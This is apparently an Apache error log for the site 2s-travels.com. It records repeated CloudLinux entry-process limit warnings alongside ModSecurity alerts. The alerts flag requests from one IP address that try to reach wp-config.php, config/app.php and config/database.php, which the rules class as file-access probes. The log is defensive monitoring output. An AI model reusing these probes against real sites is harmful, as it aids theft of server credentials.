[Fri Jul 17 08:55:48.740215 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.743388 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.745898 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.822888 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.829431 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:content: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvBHlOGcokz2QIwTTTAAAAAM"]
[Fri Jul 17 08:55:48.830120 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvBHlOGcokz2QIwTTTAAAAAM"]
[Fri Jul 17 08:55:48.830266 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.830586 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvBHlOGcokz2QIwTTTAAAAAM"]
[Fri Jul 17 08:55:48.832752 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.834740 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.839744 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:content: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvF1_86A5R6msWNfUmwAAABI"]
[Fri Jul 17 08:55:48.840165 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:content: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCRF0UOO1RzB5_8uJQAAAA4"]
[Fri Jul 17 08:55:48.840380 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvF1_86A5R6msWNfUmwAAABI"]
[Fri Jul 17 08:55:48.840488 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.840750 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvF1_86A5R6msWNfUmwAAABI"]
[Fri Jul 17 08:55:48.840823 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCRF0UOO1RzB5_8uJQAAAA4"]
[Fri Jul 17 08:55:48.840913 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.841232 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvCRF0UOO1RzB5_8uJQAAAA4"]
[Fri Jul 17 08:55:48.841315 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:content: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwllQAAAA0"]
[Fri Jul 17 08:55:48.848815 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwllQAAAA0"]
[Fri Jul 17 08:55:48.849003 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.849401 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvCvekYYQ8uns4MwllQAAAA0"]
[Fri Jul 17 08:55:48.908488 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.909523 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:content: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvLEWOaI5pmYo9fnO8wAAAAA"]
[Fri Jul 17 08:55:48.910229 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvLEWOaI5pmYo9fnO8wAAAAA"]
[Fri Jul 17 08:55:48.910324 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:content: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvBJ0z2bEtnOrIXVAhgAAAAk"]
[Fri Jul 17 08:55:48.910350 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.910660 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvLEWOaI5pmYo9fnO8wAAAAA"]
[Fri Jul 17 08:55:48.910975 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvBJ0z2bEtnOrIXVAhgAAAAk"]
[Fri Jul 17 08:55:48.911108 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.911402 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvBJ0z2bEtnOrIXVAhgAAAAk"]
[Fri Jul 17 08:55:48.992139 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.996864 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.007026 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.007884 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.011420 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.014076 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.016844 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.019736 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.130056 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.135647 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.137936 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.140531 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.150393 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:data: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvTsMb3am0TgkjETbFgAAAAo"]
[Fri Jul 17 08:55:49.151074 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvTsMb3am0TgkjETbFgAAAAo"]
[Fri Jul 17 08:55:49.151203 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.151512 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvTsMb3am0TgkjETbFgAAAAo"]
[Fri Jul 17 08:55:49.154674 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.156356 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:data: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvRJ0z2bEtnOrIXVAiAAAAAk"]
